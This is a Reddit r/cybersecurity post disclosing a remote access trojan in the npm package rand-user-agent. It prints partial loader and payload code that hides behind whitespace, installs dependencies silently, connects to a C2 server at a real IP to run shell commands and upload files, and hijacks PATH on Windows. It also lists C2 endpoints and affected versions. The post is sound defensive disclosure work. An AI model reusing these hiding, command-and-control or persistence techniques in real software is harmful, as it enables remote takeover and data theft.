r/cybersecurity Search in r/... Create

r/cybersecurity • 4 days ago
Advocatemack

RATatouille: We discovered a RAT (remote access trojan) in a popular NPM project

News - Breaches & Ransoms

First of all, I apologies for the Dad Pun, I really can't help it.

TL;DR:

- `rand-user-agent` npm package was backdoored.
- RAT hidden via whitespace in `dist/index.js`.
- Executes on import: remote shell, file upload, PATH hijack.
- Affected versions: `1.0.110`, `2.0.83`, `2.0.84`.
- npm token compromise — not GitHub.

On May 6 (yesterday) we detected the NPM package `rand-user-agent` had some crazy weird obfuscated code in `dist/index.js`. The package (~45k weekly downloads) had been backdoored with a **Remote Access Trojan (RAT)**. *It was first turned malicious 10 days ago so unfortunately it almost certainly has had some impact.*

This one was really hard to spot, firstly the attackers took a tip from our friends at Lazarus and hid the code off screen in NPM code viewer box by adding a bunch of white spaces. *A stupid but effective method of hiding malware.* The malicious code was so long (on one line) that you could barely see the scroll bar to give you any indication anything was wrong.

Secondly the code was dynamically obfuscated 3 times meaning it was quite hard to get it back to anything resembling a readable version.

Here is what the malware looked like: (I have removed the giant obfuscated blobs)

```
global["_V"] = "7-randuser84";
global["r"] = require;
(function () {
  function pHg(l) { ... } // deterministic string shuffler
  var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj...GIANT BLOB").substr(0, 11);
  var QbC = pHg[Rjb];
  var payload = QbC("", pHg("...GIANT BLOB"));
  payload(5164);
})();
```

What it's doing:

- `pHg()` is a deterministic string shuffler that decodes the payload at runtime.
- The loader builds and runs the **final-stage payload**, which is a fully operational **Remote Access Trojan (RAT)**.

Final Payload: RAT Overview

Once executed, the malware:

1. **Silently installs dependencies** (`axios`, `socket.io-client`) via `npm install`, into a hidden `.node_modules` folder in the user's home directory.
2. **Sets up a persistent socket connection** to a command-and-control (C2) server.
3. **Listens for remote commands** from the attacker.
4. **Uploads files** using HTTP POST.
5. **Executes arbitrary shell commands** via `child_process.exec()`.

```
(async () => {
  const os = require('os'), path = require('path'), fs = require('fs'), cp = require('ch
  const homeMods = path.join(os.homedir(), '.node_modules');
  module.paths.push(path.join(homeMods, 'node_modules'));

  // Silent dependency install
  await exec('npm install axios socket.io-client --prefix "' + homeMods + '"');

  const axios = require('axios');
  const io = require('socket.io-client');
  const socket = io('http://85.239.62.36:3306');

  socket.on('connect', () => {
    socket.emit('identify', 'client', {
      clientUuid: hostname + '$' + username,
      processId: process.pid,
      osType: os.type()
    });
  });

  socket.on('command', (cmd, uuid) => { /* command parsing + exec logic */ });
})();
```

Persistence on Windows: PATH Hijack on Windows

Like all good attackers, they then tried to persist the attack. In this case they built in some sneaky functionality to Hijack Python tools on the machine.

```
    process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
    'Programs\\Python\\Python3127'
  );
  env.PATH = Y + ';' + process.env.PATH;
```

It inserts a fake Python directory at the front of PATH, so calls to `python`, `pip`, etc. could execute attacker-controlled binaries instead of legitimate ones — great for **lateral persistence and privilege abuse**, especially in CI/dev environments.

C2 Infrastructure

Purpose	Endpoint	Protocol
Shell/Command C2	`http://85.239.62[.]36:3306`	`socket.io-client`
File Exfiltration	`http://85.239.62[.]36:27017/u/f`	HTTP POST

How attackers gained access

The GitHub repo has now been made private, but it appears the malicious version was directly uploaded to NPM as there were no new commits on GitHub. This would lead all indications to a developers NOPM access token being compromised.

This again leads to the importance of signing your releases from your CI/CD pipeline / actions workflows to ensure they are not tampered with.

Full breakdown writeup: https://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise
Full breakdown video: https://www.youtube.com/watch?v=kBYWnc8nQk0

Affected Versions

1.0.110, 2.0.83, 2.0.84

Attribution

Pretty hard to attribute this one. It is most likely a nation state APT based on how sophisticated it is. The C2 Server had a UK IP address but hosted by a Russian company so likely a Russian APT. It also fits more the MO of Russian APTs over North Korean APTs.

209 4 Share

r/cybersecurity

Create

Sort by: **Best** Search Comments

purplepill22 · 3d ago

Pretty cool man

13 Reply

CatsAreMajorAssholes · 3d ago

> % Abuse contact for '85.239.60.0 - 85.239.63.255' is ''abuse@bluevps.com"

do your thing

3 Reply

didled · 3d ago

Amazing write up

1 Reply

shell_mo · 1d ago

Love a good RAT pun https://redcanary.com/blog/threat-detection/misbehaving-rats/

1 Reply